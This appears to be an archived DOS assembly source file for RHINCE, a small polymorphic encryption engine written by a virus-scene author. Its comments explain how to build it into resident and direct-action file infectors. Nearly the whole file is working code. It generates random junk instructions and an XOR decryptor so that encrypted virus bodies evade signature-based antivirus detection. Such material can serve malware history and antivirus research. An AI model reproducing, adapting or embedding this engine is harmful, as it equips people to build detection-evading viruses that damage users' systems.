home *** CD-ROM | disk | FTP | other *** search
- ; RHINCE, The Rickety and Hardly Insidious yet New Chaos Engine, v1.0,
- ; By Rhincewind [Vlad]
- ;
- ; This here code is a tiny 100% table-driven engine styled after the DSCE.
- ; The big benefit of the DSCE approach is that you no longer have to keep
- ; track of a counter, pointer or any other register.
- ;
- ; Calling parameters:
- ;
- ; CX Length of code to encrypt
- ; DS:DX 32-bit pointer to code to encrypt
- ; BP Offset encrypted code will be run at.
- ;
- ; Return parameters:
- ; CX Length of decryptor + decrypted code
- ; DS:DX 32-bit pointer to encrypted code
- ;
- ; The engine is a mere 416 bytes in length. Like the MtE, it must be called
- ; at the same offset as in the assembled version. This requirement makes it
- ; a bit tougher to implement this engine in generic direct action infectors,
- ; as they will have to relocate CS:IP. For the structure of a resident
- ; infector it makes no difference. Also, the encrypted code will be placed
- ; directly after the engine, at the 'polycode' label. If this is inconvenient,
- ; simply move the label.
- ;
- ; I wrote this one to see how small an engine of this type can get, as
- ; the original DSCE is very much overweight. It's trivial to detect, but hey,
- ; it's still an engine.
- ;
- ; Rhince.
-
- mut_eng: push dx
- inc cx
- shr cx,1
- mov di, offset polycode
- mov si, offset insert_table
- mov word ptr [si-(insert_table-codelen)],cx
- call get_rand
- mov word ptr [si-(insert_table-seed)],ax
- genstart: mov dx,9
- gen_decryptor: call get_rand
- and ax,0fh ;Bump this up for kicks.
- do_cx_rnd: push ax
- mov ax, (endgarbage-garbagetbl)/2
- call rand_in_range
- xchg ax,bx
- add bx,bx
- call word ptr [garbagetbl+bx]
- pop ax
- dec ax
- jns do_cx_rnd
- mov ax, 0c72eh
- stosw
- mov al, 06
- stosb
- mov word ptr [si],di
- cmpsw
- stosw
- dec dx
- jnz gen_decryptor
- mov ax, 0ebh
- stosw
- mov cx,9
- push cx
- fill_er_up: call get_rand
- stosw
- loop fill_er_up
- pop cx
- push di
- db 08dh,083h
- dw -(offset polycode)
- mov startptr,ax
- sub ax, (end_decryptor-decryptor)
- mov si, offset decryptor
- mov bx, offset insert_table
- fill_values: mov di, word ptr ds:[bx]
- stosw
- movsw
- inc bx
- inc bx
- inc ax
- inc ax
- loop fill_values
- pop di
- pop si
- mov cx, codelen
- encrypt_loop: lodsw
- xor ax, seed
- stosw
- loop encrypt_loop
- mov cx, di
- mov dx, offset polycode
- sub cx,dx
- ret
- rnd_onebyters: mov bx, offset onebyters
- mov ax, (end_onebyters-onebyters)
- xlat_stosb: call rand_in_range
- xlat
- stosb
- _ret: ret
- onebyters db 0fdh,0fch,0fbh,0f9h,0f8h,0f5h,0d7h,0cch
- db 9fh,9eh,99h,98h,97h,96h,95h
- db 40h,41h,42h,43h,45h,46h,47h,48h,49h,4ah,4bh,4dh,4eh,4fh
- db 93h,92h,91h,90h,3fh,37h,2fh,27h
- end_onebyters:
- seg_overrides db 26h,2eh,36h,3eh
- rnd_lds_les: call get_rand
- jns no_override
- mov ax, 4
- mov bx, offset seg_overrides
- call xlat_stosb
- no_override: mov ax, (endfirstbytes-firstbytes)
- mov bx, offset firstbytes
- call xlat_stosb
- xchg ax,cx
- get_nother: call get_rand
- test cl,1
- jz no_sp_test
- sp_test: mov ah,al
- and ah,111000b
- cmp ah,100000b
- jz get_nother
- no_sp_test: stosb
- xchg bx,ax
- call get_rand
- mov bh,bl
- and bh,11000111b
- cmp bh,110b
- jz two_extra
- cmp bl, 0c0h
- jae no_extra_bytes
- cmp bl, 40h
- jb no_extra_bytes
- cmp bl, 80h
- jb one_extra
- two_extra: stosb
- xchg ah,al
- one_extra: stosb
- no_extra_bytes: ret
- firstbytes db 2,3,0ah,0bh,12h,13h,1ah,1bh,22h,23h,2ah,2bh,32h,33h,38h
- db 39h,3ah,3bh,8ah,8bh
- endfirstbytes:
- rnd_mov: call get_rand
- and al,0fh
- cmp al,0ch
- jz rnd_mov
- add al, 0b0h
- stosb
- xchg ax,bx
- call get_rand
- cmp bl,0b8h
- jb one_extra
- rnd_flowcontrol:mov ax, (end_flowcontrol-flowcontrol)
- mov bx, offset flowcontrol
- call xlat_stosb
- xor al,al
- stosb
- ret
- flowcontrol db 70h,71h,72h,73h,74h,75h,76h,77h,78h,79h,7ah,7bh,7ch,7dh,7eh,7fh
- db 0e0h,0e1h,0e2h,0e3h
- end_flowcontrol:
- rnd_mov2: mov ax, (end_mov_ops-mov_ops)
- mov bx, offset mov_ops
- call xlat_stosb
- xchg ax,cx
- call get_rand
- jns no_inc
- inc cx
- mov byte ptr ds:[di-1],cl
- jmp one_byte2
- no_inc: stosb
- ret
- one_byte2: stosw
- ret
- mov_ops db 04h,0ch,14h,1ch,24h,2ch,34h,3ch,0a8h
- end_mov_ops:
- rand_in_range: push bx
- push dx
- xchg ax,bx
- call get_rand
- xor dx,dx
- div bx
- xchg ax,dx
- pop dx
- pop bx
- ret
- get_rand: in al,40h ;I'm not too worried about RNG prediction
- xchg al,ah ;attacks against an engine so vulnerable
- in al,40h ;to the easier things in life.
- xor ax, 0FFFFh
- org $-2
- Randomize dw ?
- mov randomize,ax
- ret
- garbagetbl: dw offset rnd_onebyters
- dw offset rnd_mov
- dw offset rnd_lds_les
- dw offset rnd_mov2
- dw offset rnd_flowcontrol
- endgarbage:
- decryptor: cld
- mov si, 1234h
- org $-2
- startptr dw ?
- mov cx, 1234h
- org $-2
- codelen dw ?
- decryptloop: xor word ptr cs:[si], 1234h
- org $-2
- seed dw ?
- lodsw
- loop decryptloop
- dw 01ebh
- db ?
- end_decryptor:
- insert_table: dw 9 dup (?)
- polycode:
-